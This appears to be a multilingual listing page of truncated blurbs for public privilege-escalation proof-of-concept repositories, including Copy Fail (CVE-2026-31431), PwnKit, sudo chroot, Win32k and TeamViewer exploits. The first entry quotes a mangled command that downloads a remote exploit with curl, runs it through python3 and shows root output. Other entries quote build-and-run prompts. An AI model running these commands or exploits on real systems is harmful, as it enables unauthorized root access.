copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash بعض الاستخدامات: root@kitploit: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

CVE-2021-43613 SysPasswordDxe: Password hashes are exposed in runtime UEFI variables, leading to escalation of privilege

An issue was discovered in SysPasswordDxe in Insyde InsydeH2O. User and administrator password hashes are exposed in runtime UEFI variables, leading to escalation of privilege...

EUVD-2021-34868

An issue was discovered in SysPasswordDxe in Insyde InsydeH2O. User and administrator password hashes are exposed in runtime UEFI variables, leading to escalation of privilege...

CVE-2021-43613

A vulnerability in the SysPasswordDxe driver of Insyde InsydeH2O 5.x exposes user and administrator password hashes in runtime UEFI variables, enabling privilege escalation . The affected firmware is also used in Siemens SIMATIC industrial products. The CVSS 3.1 score is 6.5 (Medium) with a local...

CVE-2021-4034-POC

CVE-2021-4034 إثبات المفهوم PoC لـ PwnKit: ثغرة تصعيد الامتيازات المحلية في pkexec الخاص بـ polkit CVE-2021-4034 https://seclists.org/oss-sec/2022/q1/80...

CVE-2026-31431

CVE-2026-31431 - Copy Fail Copy Fail هو خطأ منطقي في نظام التشفير الفرعي في نواة لينكس CVE-2026-31431. تحسين تم إجراؤه في عام 2017 في algifaead.c وضع عن طريق الخطأ صفحات ذاكرة التخزين المؤقت للصفحات في قائمة scatterlist قابلة للكتابة. خوارزمية AEAD authescesn تكتب 4 بايتات مؤقتة خارج حدود الإخراج...

cve-2026-31431

CVE-2026-31431 Copy Fail Тест Этот репозиторий содержит файл workflow для GitHub Actions, чтобы проверить, затронут ли runner действий уязвимостью CVE-2026-31431. Вы можете провести тест самостоятельно: просто создайте репозиторий по этому шаблону и запустите workflow test.yml вручную не забудьте...

CVE-2026-27541-Analysis-Lab

CVE-2026-27541 — مختبر تصعيد الصلاحيات المُوثَّق في WooCommerce Wholesale Prices نظرة عامة هذا المشروع عبارة عن مختبر Docker محلي لتحليل وإعادة إنتاج سلوك CVE-2026-27541 في إضافة WooCommerce Wholesale Prices / Wholesale Suite من خلال مقارنة الإصدارات الهشّة والمُصحَّحة جنبًا إلى جنب على نفس الجها...

CVE-2021-4034

CVE-2021-4034 - نسخة حاوية Docker معرضة للثغرة عمدًا Docker PoC لـ PwnKit: ثغرة تصعيد الامتيازات المحلية في pkexec الخاص بـ polkit CVE-2021-4034 https://seclists.org/oss-sec/2022/q1/80...

CVE-2025-32463

CVE-2025-32463 - دليل الإعداد والتنفيذ هذه هي المرة الأولى التي أقوم فيها بنقل استغلال خبيث إلى قالب Nuclei لفحص ثغرات غير تدخلي لا يزال يُظهر المشكلة الأساسية. لقد وثّقت العملية بمزيد من التفاصيل تحديدًا كتمرين تعليمي. كانت التحديات الرئيسية التي واجهتها: كيفية تعديل كود الاستغلال الأصلي إلى شيء...

WordPress_4.9.8_RCE_POC

Résumé Un PoC simple pour une RCE WordPress privilège auteur, se référer à CVE-2019-8942 et CVE-2019-8943. Version affectée WordPress = 4.9.8 vérifié WordPress = 5.0.0 Environnement de test Docker Image docker pull avfisherdocker/wordpress:4.9.8 docker run -d -p 80:80 avfisherdocker/wordpress:4.9...

CVE-2025-32463

CVE-2025-32463 — Sudo 1.9.14 → 1.9.17 تصعيد الامتيازات المحلي عبر chroot سكربت استغلال يوضح تصعيدًا محليًا للامتيازات يؤثر على إصدارات معينة من Sudo 1.9.x CVE-2025-32463. مرجع الاستغلال: https://www.exploit-db.com/exploits/52352 تم اختباره على: Ubuntu 24.04.2 LTS مع sudo 1.9.16p2 ملخص يحتوي هذا...

CVE-2021-1732

CVE-2021-1732 Win32k رفع الامتيازات التقنيات مستوحاة من: https://github.com/L4ys/CVE-2022-21882 https://github.com/exploitblizzard/Windows-Privilege-Escalation-CVE-2021-1732...

CVE-2021-4034

CVE-2021-4034 إثبات المفهوم PoC وتصحيح ثغرة Pkexec في Polkit CVE-2021-4034 تم التأكيد على Ubuntu 21.10 المحدّث بالكامل إثبات المفهوم PoC التصحيح...

CVE-2019-1132

CVE-2019-1132 CVE-2019-1132 के लिए EoP POC यह एक्सप्लॉइट Windows 7 x86 build 7601 June Patch स्थापित के साथ पर परीक्षित किया गया है।...

copyfail

نظرة عامة Copy Fail CVE-2026-31431 — ثغرة منطقية في نواة لينكس تسمح لمستخدم محلي غير مميز برفع صلاحياته إلى مستوى المستخدم الخارق root. تنتمي الثغرة إلى فئة رفع الصلاحيات المحلي Local Privilege Escalation - LPE ، ولا تتطلب شروط استغلال معقدة مثل سباق الحالة أو تخمين عناوين الذاكرة وتعمل "مباشرة"...

CVE-2024-7479_CVE-2024-7481

CVE-2024-7479 و CVE-2024-7481 ترقية الامتيازات من المستخدم إلى النواة في TeamViewer يحتوي هذا المستودع على إثبات المفهوم لاستغلال ثغرة في TeamViewer تتيح لمستخدم غير مميز تحميل برنامج تشغيل نواة تعسفي إلى النظام. أود أن أشكر Zero Day Initiative على التنسيق معهم للإبلاغ عن الثغرة والإفصاح المسؤول...

CVE-2021-4034

CVE-2021-4034 يوم واحد لاستغلال تصعيد الامتيازات في polkit فقط نفّذ make، ثم ./cve-2021-4034 واستمتع بجذر الصدفة root shell. النشرة الأصلية من المؤلفين الحقيقيين موجودة هنا إثبات المفهوم PoC إذا كان الاستغلال يعمل، ستحصل على جذر الصدفة فورًا: root@kitploit: localuser@ubuntu-poc:/CVE-2021-4034$ ma...

CVE-2026-31431

CVE-2026-31431: إثبات المفهوم لفشل النسخ + التحقق على ARM64 Copy Fail هو ثغرة تصعيد صلاحيات محلية في لينكس نُشرت بواسطة Theori/Xint باسم CVE-2026-31431. تصف صفحة المشروع خطأً منطقياً في authescesn يمكن الوصول إليه عبر AFALG و splice، مما ينتج عنه كتابة صغيرة في ذاكرة التخزين المؤقت للصفحات ضد ملف...

CVE-2021-4034

CVE-2021-4034 يوم واحد لاستغلال تصعيد الامتيازات في polkit فقط نفّذ make، ثم ./cve-2021-4034 واستمتع بجذر root shell. النشرة الأصلية من المؤلفين الحقيقيين موجودة هنا إثبات المفهوم PoC إذا كان الاستغلال يعمل، ستحصل على جذر root shell فورًا: root@kitploit: vagrant@ubuntu-impish:/CVE-2021-4034$ make...